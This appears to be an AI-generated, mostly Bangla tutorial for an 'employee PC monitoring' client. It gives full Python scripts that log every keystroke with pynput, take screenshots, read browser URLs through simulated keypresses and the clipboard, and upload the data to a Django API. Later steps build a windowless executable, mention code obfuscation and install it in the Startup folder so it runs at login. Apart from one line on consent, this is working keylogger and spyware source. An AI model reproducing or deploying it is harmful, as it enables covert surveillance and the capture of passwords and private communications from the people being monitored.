🖥️ 🔖 Part 5: Python Client Development (Monitoring Script)

এখানে আমরা তৈরি করবো Employee PC monitoring client যা background service আকারে চলবে এবং আমাদের Django API তে data পাঠাবে। প্রতিটি স্টেপে প্রফেশনাল লেভেল ব্যাখ্যা + Bangla comments থাকবে যেন বাস্তবে কোম্পানির জন্য প্রডাকশন রেডি টুল তৈরি করতে পারো।

✅ ১. Goals of Python Client

✅ Active window tracking
✅ Website URL tracking
✅ Idle time tracking
✅ Screenshot capture
✅ Periodic API POST request (with token auth)
✅ Background service হিসেবে run (later PyInstaller EXE build)

🔨 Step 1.1 – Project Setup

🎯 Create Folder

mkdir monitoring_client
cd monitoring_client
python -m venv venv venv\Scripts\activate
pip install requests pygetwindow psutil pyautogui pynput pywin32

📦 Install Required Libraries

Library	Use
requests	API call
pygetwindow / pywin32	Active window title
psutil	Process & idle time
pyautogui	Screenshot
pynput	Keystroke logger

🔨 Step 1.2 – Basic Config File: `config.py`

# config.py

API_URL = "http://127.0.0.1:8000/api/activity-logs/create/"
TOKEN = "your_django_token_here"
EMPLOYEE_ID = 1

# Screenshot interval (seconds)
SCREENSHOT_INTERVAL = 300

🔨 Step 1.3 – Helper Functions: `monitor.py`

api

simple

someadvance

# monitor.py

import time
import requests
import json
import pygetwindow as gw
import psutil
import pyautogui
from pynput import keyboard
import threading
import os
from config import API_URL, TOKEN, EMPLOYEE_ID

# 📝 keystroke log store করার জন্য global variable
keystrokes = []

# ✅ Active window title get function
def get_active_window():
    try:
        window = gw.getActiveWindow()
        if window:
            return window.title
    except Exception as e:
        print("Active window error:", e)
    return None

# ✅ Idle time calculate function
def get_idle_time():
    idle = 0
    for user in psutil.users():
        idle = user.idle
    return idle // 60  # minute

# ✅ Screenshot capture function
def take_screenshot():
    filename = f"screenshot_{int(time.time())}.png"
    pyautogui.screenshot(filename)
    return filename

# ✅ Keystroke listener function
def on_press(key):
    try:
        keystrokes.append(key.char)
    except AttributeError:
        keystrokes.append(str(key))

# ✅ Start keystroke listener in background
def start_keylogger():
    listener = keyboard.Listener(on_press=on_press)
    listener.start()

# ✅ Data send function
def send_data():
    while True:
        active_window = get_active_window()
        idle_time = get_idle_time()
        keys = ''.join(keystrokes)

        # Screenshot every interval
        screenshot_file = take_screenshot()

        headers = {"Authorization": f"Token {TOKEN}"}
        files = {'screenshot': open(screenshot_file, 'rb')}
        data = {
            "employee": EMPLOYEE_ID,
            "active_window": active_window,
            "keystrokes": keys,
            "idle_time_min": idle_time,
        }

        try:
            response = requests.post(API_URL, headers=headers, data=data, files=files)
            print("Data sent:", response.status_code)
        except Exception as e:
            print("Error sending data:", e)

        # Clear keystrokes after sending
        keystrokes.clear()

        # Delete screenshot file to save disk space
        os.remove(screenshot_file)

        # Wait for next interval
        time.sleep(SCREENSHOT_INTERVAL)

# ✅ Main function
if __name__ == "__main__":
    start_keylogger()
    send_thread = threading.Thread(target=send_data)
    send_thread.start()

import time
import pygetwindow as gw
import psutil
import pyautogui
from pynput import keyboard
import threading
import os
from datetime import datetime

# 📝 keystroke log store করার জন্য global variable
keystrokes = []
SCREENSHOT_INTERVAL = 60  # seconds
LOG_FILE = "activity_log.txt"

# ✅ Active window title get function
def get_active_window():
    try:
        window = gw.getActiveWindow()
        if window:
            return window.title
    except Exception as e:
        print("Active window error:", e)
    return "N/A"

# ✅ Idle time calculate function (approximation)
def get_idle_time():
    idle = 0
    for user in psutil.users():
        try:
            idle = user.idle
        except AttributeError:
            continue
    return idle // 60  # minute

# ✅ Screenshot capture function
def take_screenshot():
    filename = f"screenshot_{int(time.time())}.png"
    pyautogui.screenshot(filename)
    return filename

# ✅ Keystroke listener function
def on_press(key):
    try:
        keystrokes.append(key.char)
    except AttributeError:
        keystrokes.append(str(key))

# ✅ Start keystroke listener in background
def start_keylogger():
    listener = keyboard.Listener(on_press=on_press)
    listener.start()

# ✅ Data save function
def save_data():
    while True:
        active_window = get_active_window()
        idle_time = get_idle_time()
        keys = ''.join(keystrokes)
        screenshot_file = take_screenshot()
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

        # Write to log file
        with open(LOG_FILE, "a", encoding="utf-8") as f:
            f.write(f"[{timestamp}]\n")
            f.write(f"Active Window: {active_window}\n")
            f.write(f"Idle Time (min): {idle_time}\n")
            f.write(f"Keystrokes: {keys}\n")
            f.write(f"Screenshot File: {screenshot_file}\n")
            f.write("-" * 40 + "\n")

        # Clear keystrokes after saving
        keystrokes.clear()

        # Optional: delete screenshot to save space
        os.remove(screenshot_file)

        time.sleep(SCREENSHOT_INTERVAL)

# ✅ Main function
if __name__ == "__main__":
    start_keylogger()
    save_thread = threading.Thread(target=save_data)
    save_thread.start()

import time
import pygetwindow as gw
import psutil
from pynput import keyboard
import threading
import os
import sys
import socket
from datetime import datetime
import winreg
import win32gui
import win32con
import win32process
import win32com.client
import pythoncom
import pyperclip
import urllib.parse
import csv
import ctypes
from ctypes import wintypes

# 📝 গ্লোবাল ভেরিয়েবল: লগ ফাইল এবং ইন্টারভাল সেট করা
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
LOG_FILE = os.path.join(SCRIPT_DIR, "activity_log.csv")
TEMP_LOG_FILE = os.path.join(SCRIPT_DIR, "activity_log_temp.csv")
MONITOR_INTERVAL = 5  # প্রতি ৫ সেকেন্ডে ডেটা চেক
keystrokes = []  # কীস্ট্রোক সংরক্ষণের জন্য লিস্ট
keystrokes_lock = threading.Lock()  # Thread-safe keystroke access
blocked_apps = ["notepad.exe", "calc.exe"]  # ব্লক করার জন্য অ্যাপের তালিকা
blocked_urls = ["facebook.com", "youtube.com"]  # ব্লক করার জন্য URL তালিকা
active_window_history = []  # উইন্ডো সুইচিং ট্র্যাক করার জন্য
history_lock = threading.Lock()  # Thread-safe window history access
RETRY_ATTEMPTS = 3  # ফাইল লেখার জন্য রিট্রাই সংখ্যা
RETRY_DELAY = 1  # রিট্রাইয়ের মধ্যে দেরি (সেকেন্ড)
MAX_KEYSTROKE_LENGTH = 1000  # CSV-তে কীস্ট্রোকের সর্বোচ্চ দৈর্ঘ্য

# 📌 ম্যাপিং: বিশেষ কীগুলোর জন্য মানব-পাঠযোগ্য নাম
SPECIAL_KEY_MAP = {
    'space': '[Space]',
    'enter': '[Enter]',
    'tab': '[Tab]',
    'backspace': '[Backspace]',
    'delete': '[Delete]',
    'ctrl_l': '[Ctrl]',
    'ctrl_r': '[Ctrl]',
    'alt_l': '[Alt]',
    'alt_r': '[Alt]',
    'shift': '[Shift]',
    'shift_r': '[Shift]',
    'caps_lock': '[CapsLock]',
    'esc': '[Esc]',
    'up': '[Up]',
    'down': '[Down]',
    'left': '[Left]',
    'right': '[Right]',
}

# 📌 ফাংশন: কম্পিউটারের নাম এবং IP ঠিকানা পাওয়া
def get_computer_info():
    try:
        computer_name = socket.gethostname()
        ip_address = socket.gethostbyname(computer_name)
        return computer_name, ip_address
    except Exception as e:
        print(f"কম্পিউটার তথ্য পাওয়ার ত্রুটি: {e}")
        return "N/A", "N/A"

# 📌 ফাংশন: CSV ফাইল তৈরি এবং হেডার যোগ করা
def initialize_csv(log_file=LOG_FILE):
    try:
        if not os.path.exists(log_file):
            with open(log_file, "a", newline="", encoding="utf-8") as f:
                writer = csv.writer(f)
                writer.writerow([
                    "Timestamp", "Computer Name", "IP Address", "Active Window", 
                    "Process Name", "Idle Time (min)", "Browser URL", 
                    "URL Duration (sec)", "Keystrokes", "USB Status", 
                    "Window Switch History"
                ])
    except Exception as e:
        print(f"CSV ফাইল তৈরি ত্রুটি ({log_file}): {e}")

# 📌 ফাংশন: টেম্পোরারি ফাইলের ডেটা মূল CSV তে মার্জ করা
def merge_temp_file():
    if not os.path.exists(TEMP_LOG_FILE):
        return
    try:
        with open(TEMP_LOG_FILE, "r", newline="", encoding="utf-8") as temp_f:
            reader = csv.reader(temp_f)
            temp_data = list(reader)[1:]  # Skip header
        with open(LOG_FILE, "a", newline="", encoding="utf-8") as main_f:
            writer = csv.writer(main_f)
            for row in temp_data:
                writer.writerow(row)
        os.remove(TEMP_LOG_FILE)
        print(f"টেম্পোরারি ফাইল ({TEMP_LOG_FILE}) মূল CSV তে মার্জ করা হয়েছে।")
    except Exception as e:
        print(f"টেম্পোরারি ফাইল মার্জ ত্রুটি: {e}")

# 📌 ফাংশন: সক্রিয় উইন্ডোর নাম এবং প্রসেসের তথ্য পাওয়া
def get_active_window():
    try:
        window = gw.getActiveWindow()
        if window:
            hwnd = win32gui.GetForegroundWindow()
            _, pid = win32process.GetWindowThreadProcessId(hwnd)
            process = psutil.Process(pid)
            return window.title, process.name()
    except Exception as e:
        print(f"উইন্ডো ট্র্যাকিং ত্রুটি: {e}")
    return "N/A", "N/A"

# 📌 ফাংশন: ব্রাউজারে বর্তমান URL পাওয়া
def get_browser_url(window_title):
    pythoncom.CoInitialize()  # Initialize COM for this thread
    try:
        if any(browser in window_title.lower() for browser in ["chrome", "edge", "firefox"]):
            shell = win32com.client.Dispatch("WScript.Shell")
            shell.AppActivate(window_title)
            shell.SendKeys("^l")  # Focus URL bar
            time.sleep(0.1)
            shell.SendKeys("^c")  # Copy URL
            time.sleep(0.1)
            url = pyperclip.paste()
            parsed_url = urllib.parse.urlparse(url).hostname or "N/A"
            return parsed_url
        else:
            return "N/A"
    except Exception as e:
        print(f"URL ট্র্যাকিং ত্রুটি: {e}")
        return "N/A"
    finally:
        pythoncom.CoUninitialize()  # Clean up COM

# 📌 ফাংশন: নিষ্ক্রিয় (Idle) সময় গণনা
def get_idle_time():
    try:
        class LASTINPUTINFO(ctypes.Structure):
            _fields_ = [("cbSize", wintypes.UINT), ("dwTime", wintypes.DWORD)]
        
        lii = LASTINPUTINFO()
        lii.cbSize = ctypes.sizeof(LASTINPUTINFO)
        ctypes.windll.user32.GetLastInputInfo(ctypes.byref(lii))
        current_time = ctypes.windll.kernel32.GetTickCount()
        idle_ms = current_time - lii.dwTime
        return idle_ms // (60 * 1000)  # Convert to minutes
    except Exception as e:
        print(f"Idle টাইম গণনা ত্রুটি: {e}")
        return 0

# 📌 ফাংশন: কীস্ট্রোক লগ করা (শুধুমাত্র ব্রাউজারের জন্য)
def on_press(key):
    try:
        hwnd = win32gui.GetForegroundWindow()
        window_title = win32gui.GetWindowText(hwnd).lower()
        # Validate that the active window is a browser
        if any(browser in window_title for browser in ["chrome", "edge", "firefox"]):
            with keystrokes_lock:
                # Handle printable characters
                if hasattr(key, 'char') and key.char and key.char.isprintable():
                    keystrokes.append(key.char)
                # Handle special keys
                else:
                    key_str = str(key).replace('Key.', '')
                    if key_str in SPECIAL_KEY_MAP:
                        keystrokes.append(SPECIAL_KEY_MAP[key_str])
                    # Ignore unknown or non-printable control keys
    except Exception as e:
        print(f"কীস্ট্রোক লগিং ত্রুটি: {e}")

# 📌 ফাংশন: কীস্ট্রোক লিসনার শুরু করা
def start_keylogger():
    listener = keyboard.Listener(on_press=on_press)
    listener.start()

# 📌 ফাংশন: নির্দিষ্ট অ্যাপ বা উইন্ডো ব্লক করা
def block_app_or_window():
    pythoncom.CoInitialize()  # Initialize COM for this thread
    try:
        while True:
            try:
                _, process_name = get_active_window()
                if process_name.lower() in blocked_apps:
                    hwnd = win32gui.GetForegroundWindow()
                    win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0)
                    print(f"ব্লক করা অ্যাপ বন্ধ করা হয়েছে: {process_name}")
            except Exception as e:
                print(f"অ্যাপ ব্লকিং ত্রুটি: {e}")
            time.sleep(1)
    finally:
        pythoncom.CoUninitialize()  # Clean up COM

# 📌 ফাংশন: URL ব্লক করা
def block_url(current_url):
    pythoncom.CoInitialize()  # Initialize COM for this thread
    try:
        if current_url in blocked_urls:
            shell = win32com.client.Dispatch("WScript.Shell")
            shell.SendKeys("^w")  # Close browser tab
            print(f"ব্লক করা URL বন্ধ করা হয়েছে: {current_url}")
    except Exception as e:
        print(f"URL ব্লকিং ত্রুটি: {e}")
    finally:
        pythoncom.CoUninitialize()  # Clean up COM

# 📌 ফাংশন: USB ডিভাইস সংযোগ শনাক্ত করা
def detect_usb():
    try:
        usb_devices = []
        for disk in psutil.disk_partitions():
            if "removable" in disk.opts.lower():
                usb_devices.append(disk.device)
        return ", ".join(usb_devices) if usb_devices else "No USB detected"
    except Exception as e:
        print(f"USB ডিটেকশন ত্রুটি: {e}")
        return "N/A"

# 📌 ফাংশন: উইন্ডো সুইচিং ট্র্যাক করা
def track_window_switch(current_window, timestamp):
    with history_lock:
        if active_window_history and active_window_history[-1]["window"] != current_window:
            active_window_history.append({"window": current_window, "timestamp": timestamp})

# 📌 ফাংশন: ডেটা CSV ফাইলে সংরক্ষণ
def save_data():
    pythoncom.CoInitialize()  # Initialize COM for this thread
    try:
        initialize_csv()  # Initialize primary CSV
        initialize_csv(TEMP_LOG_FILE)  # Initialize temp CSV
        last_url = None
        url_start_time = time.time()
        last_window_title = None  # Track the last window title
        computer_name, ip_address = get_computer_info()  # Get computer info
        while True:
            timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            window_title, process_name = get_active_window()
            
            # Only proceed if window title has changed or is the first run
            if window_title != last_window_title:
                idle_time = get_idle_time()
                current_url = get_browser_url(window_title) if any(browser in window_title.lower() for browser in ["chrome", "edge", "firefox"]) else "N/A"
                
                with keystrokes_lock:
                    # Join keystrokes into a readable string, limit length
                    keys = ''.join(keystrokes[:MAX_KEYSTROKE_LENGTH]) if keystrokes else "None"
                    keystrokes.clear()

                usb_status = detect_usb()

                # URL সময় ট্র্যাকিং
                url_duration = 0
                if current_url != last_url and last_url and current_url != "N/A":
                    url_duration = time.time() - url_start_time
                    url_start_time = time.time()
                last_url = current_url

                # উইন্ডো সুইচ ট্র্যাকিং
                track_window_switch(window_title, timestamp)

                # CSV ফাইলে ডেটা লেখা (রিট্রাই লজিক সহ)
                log_file = LOG_FILE
                for attempt in range(RETRY_ATTEMPTS):
                    try:
                        with open(log_file, "a", newline="", encoding="utf-8") as f:
                            writer = csv.writer(f)
                            with history_lock:
                                writer.writerow([
                                    timestamp, computer_name, ip_address, window_title, 
                                    process_name, idle_time, current_url, f"{url_duration:.2f}", 
                                    keys, usb_status, str(active_window_history[-5:])
                                ])
                        merge_temp_file()  # Attempt to merge temp file if it exists
                        break
                    except PermissionError as e:
                        print(f"CSV লেখার ত্রুটি (প্রচেষ্টা {attempt + 1}/{RETRY_ATTEMPTS}, {log_file}): {e}")
                        if attempt == RETRY_ATTEMPTS - 1:
                            log_file = TEMP_LOG_FILE  # Switch to temp file
                            initialize_csv(log_file)
                        time.sleep(RETRY_DELAY)
                    except Exception as e:
                        print(f"অপ্রত্যাশিত CSV লেখার ত্রুটি ({log_file}): {e}")
                        break

                # URL ব্লক করা (শুধুমাত্র ব্রাউজার URL থাকলে)
                if current_url != "N/A":
                    block_url(current_url)

                last_window_title = window_title  # Update last window title

            time.sleep(MONITOR_INTERVAL)
    except Exception as e:
        print(f"ডেটা সংরক্ষণ ত্রুটি: {e}")
    finally:
        pythoncom.CoUninitialize()  # Clean up COM

# 📌 প্রধান ফাংশন: সব ফিচার শুরু করা
if __name__ == "__main__":
    start_keylogger()
    save_thread = threading.Thread(target=save_data)
    block_thread = threading.Thread(target=block_app_or_window)
    save_thread.daemon = True  # Make threads daemon so they exit with main program
    block_thread.daemon = True
    save_thread.start()
    block_thread.start()
    try:
        while True:
            time.sleep(1)  # Keep main thread alive
    except KeyboardInterrupt:
        print("প্রোগ্রাম বন্ধ করা হচ্ছে...")

🔎 Bangla Explanation:

✅ get_active_window() → current active window title return করে
✅ get_idle_time() → user idle time calculate করে
✅ take_screenshot() → screenshot file save করে
✅ on_press() → keystroke capture করে global variable এ store করে
✅ send_data() → সব data API তে POST করে periodic interval এ
✅ threading → keylogger & data sender parallel চলে

✅ ৪. Run Script

python monitor.py

✔️ Script run করলে প্রতি interval এ data Django API তে যাবে। Admin panel এ logs দেখা যাবে।

🔒 ৫. Security Considerations (Production)

🔐 Token in .env file রাখবে
🔐 SSL/TLS enforced API call (https)
🔐 PyInstaller build করলে code obfuscation
🔐 Legal consent mandatory for keystroke logging

✅ ৬. PyInstaller Build (Optional)

pip install pyinstaller
pyinstaller --onefile --noconsole monitor.py

✔️ dist/monitor.exe employee PC তে deploy করে Windows Task Scheduler এ add করলে auto start হবে।

📝 🔖 Summary of Part 5

✔️ Professional grade Python client monitoring script complete
✔️ Active window, idle time, keystroke, screenshot capture
✔️ API integration tested
✔️ Future ready for PyInstaller EXE deployment

🚀 ➡️ Next Step:

🔖 Part 6: Security & Deployment

Token auth & rate limiting best practices
HTTPS setup (Let’s Encrypt)
PyInstaller EXE obfuscation
Windows service installer creation
VPS deployment (Gunicorn + Nginx)

👉 বলো “Start Part 6” – তাহলে আমরা Security & Deployment শুরু করবো, যা production এ going live করার জন্য mandatory।

🛠️ 🔖 Solution 1: Windows Startup Folder (Easy Method)

🎯 Use Case: Personal PC বা low privilege employee PC

PyInstaller দিয়ে EXE বানাও

pip install pyinstaller
pyinstaller --onefile --noconsole monitor.py

এতে dist/monitor.exe তৈরি হবে।

EXE ফাইলটি Startup folder এ রাখো

Win + R → লিখো: shell:startup → Enter
Startup folder খুলবে
তোমার monitor.exe ফাইলটির shortcut এখানে paste করো।

✅ Result: PC boot হলে user login এর পরই exe run হবে।

Employee মনিটরিং